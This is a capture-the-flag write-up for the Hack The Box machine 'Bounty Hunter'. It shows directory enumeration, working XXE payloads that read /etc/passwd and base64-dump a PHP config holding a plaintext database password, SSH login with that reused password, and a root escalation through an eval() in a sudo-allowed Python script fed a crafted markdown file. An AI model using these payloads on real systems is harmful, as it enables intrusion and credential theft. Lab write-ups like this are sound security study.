HTB - Bounty Hunter

I’ve just completed Bounty Hunter from HTB! Bounty Hunter is a box focused on web exploitation, in particular XXE injection. Here is a quick writeup about how I solved this box.

HTB - Bounty Hunter

Box : Bounty Hunter
IP Address : 10.10.10.100
Operating System : Linux

Remarks

Enumeration

As usual, lets first start with enumerating all the open ports and services behind this open ports using Nmap. This is a rather simple box with just 2 open ports - namely port 22 and port 80. Port 22 is an SSH server while port 80 is a webserver using Apache.

Upon naviagation to the site, we also realize that the website uses PHP files from the wapplyze plugin that we installed on our web browser.

Using that information, we will run a directory enumeration on the webserver to identify all the php files hosted on the web server. During this process, we noticed an interesting file db.php and a resources directory on the webserver

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.11.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php -z
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.100
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/08/08 21:09:43 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 25169]
/resources            (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/assets               (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]   
/portal.php           (Status: 200) [Size: 125]                                     
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]      
/db.php               (Status: 200) [Size: 0]                                       
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]

Visiting the resources directory on the webpage, we discover another interesting javascript file bountylog.js. We discover another tracker_diRbPr00f314.php endpoint and also, the XML processed by the backend server.

function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>${$('#exploitTitle').val()}</title>
		<cwe>${$('#cwe').val()}</cwe>
		<cvss>${$('#cvss').val()}</cvss>
		<reward>${$('#reward').val()}</reward>
		</bugreport>`
		let data = await returnSecret(btoa(xml));
  		$("#return").html(data)
	}
	catch(error) {
		console.log('Error:', error);
	}
}

Looking at the website, we discovered a log_submit.php endpoint. This page contains a form that can be submitted. We will then try to send a POST request to the backend server and intercept it with Burp. From the requests intercepted by Burp, we realize that the POST request is being redirected to the /tracker_diRbPr00f314.php endpoint that we found earlier. Apart from that, the payload in the request body also seems to have been URL encoded.

Next we will first URL decode the payload. However, we realize that the payload is still encoded. But now, we realize that this encoded payload can be easily decoded with Base64 encoding. The final encoded payload matches the XML that we have obtained from the bountylog.js file that we have found earlier. This gives us the idea that we could do an XML injection on the payload.

┌──(kali㉿kali)-[~]
└─$ echo PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50ZXN0PC90aXRsZT4KCQk8Y3dlPnRlc3Q8L2N3ZT4KCQk8Y3Zzcz50ZXN0PC9jdnNzPgoJCTxyZXdhcmQ+dGVzdDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg== | base64 --decode
<?xml  version="1.0" encoding="ISO-8859-1"?>
                <bugreport>
                <title>test</title>
                <cwe>test</cwe>
                <cvss>test</cvss>
                <reward>test</reward>
                </bugreport> 

So now we will modify the payload to exfiltrate data from /etc/passwd file. (Note that we will still have to base 64 encode and URL encode the payload). The response that we received from the webserver revealed the /etc/passwd file, which confirmed that this webserver is vulnerable to XML injection.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>test</cwe>
		<cvss>test</cvss>
		<reward>test</reward>
		</bugreport>

We noticed that there is a development user that might not require a password to SSH into. Hence, we will try out luck, but apparently I have either no or extremely low luck and so, I am unable to SSH into the server as it requires a password to SSH into.

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh development@10.10.11.100                                         3 ⚙
development@10.10.11.100's password: 
Permission denied, please try again.
development@10.10.11.100's password: 
Permission denied, please try again.
development@10.10.11.100's password: 
development@10.10.11.100: Permission denied (publickey,password).

Now, we remember from our gobuster that we have discovered a db.php file and this file is most likely stored in /var/www/html directory on the webserver. So, we modify our payloads to try to exfiltrate this file. After numerous tries on different payloads, we were able to obtain an encoded text in the response!

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php" >]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>test</cwe>
		<cvss>test</cvss>
		<reward>test</reward>
		</bugreport>

Decoding the encoded text that we have obtained in the response gives us the contents of the file.

┌──(kali㉿kali)-[~/Desktop]
└─$ echo PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo= | base64 --decode
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Obtaining the user flag

With the developement user that we have obtained earlier and the password that we have obtained from the db.php file, we are now able to login to the SSH server, and obtain the user flag

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh development@10.10.11.100                                         3 ⚙
development@10.10.11.100 password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 09 Aug 2021 03:15:58 AM UTC

  System load:           0.0
  Usage of /:            24.1% of 6.83GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             217
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb9:9e4b


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$
development@bountyhunter:~$ cat user.txt
<Redacted user flag>

Obtaining the system flag

However, we are far from done yet! We still have not obtained the system flag. Using sudo -l we have discovered that /opt/skytrain_inc/ticketValidator.py has root permissions. However, we’ve also realised that we cannot modify the code file to create a root shell as /usr/bin/nano and /usr/bin/vi are not given root privileges.

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Next, we will have to analyze the python code to understand how it can be exploited. From the code we can create a file of certain contents to reveal the system flag. So now, we will start with the analysis of the code.

This section of the code tells us that only markdown files will be processed.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

This section of the code tells us that the first line of the file must begin with # Skytrain Inc

        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue

This section of the code tells us that the second line of the file must begin with ## Ticket to

        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

This section of the code tells us that the next line must begin with __Ticket Code:__, and code_line will increment. This line is essential so that the next section of the code below will be executed.

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

There are 3 things happening on the last section of the code. Firstly, the fourth line of the markdown file must begin with **. Secondly, the ** will be replaced and the rest of the line will be evaluated. Thirdly, the validationNumber must be evaluated to be greater than 100 to be true

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False

With the above information from the code analysis, we can craft a payload in markdown file format that will reveal the system flag successfully!

development@bountyhunter:~$ cat exploit.md
# Skytrain Inc
## Ticket to exploit
__Ticket Code:__
** 102 + 310 == 412 and __import__('os').system('sudo cat /root/root.txt') == False
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
exploit.md
Destination: exploit
<Redacted system flag>
Invalid ticket.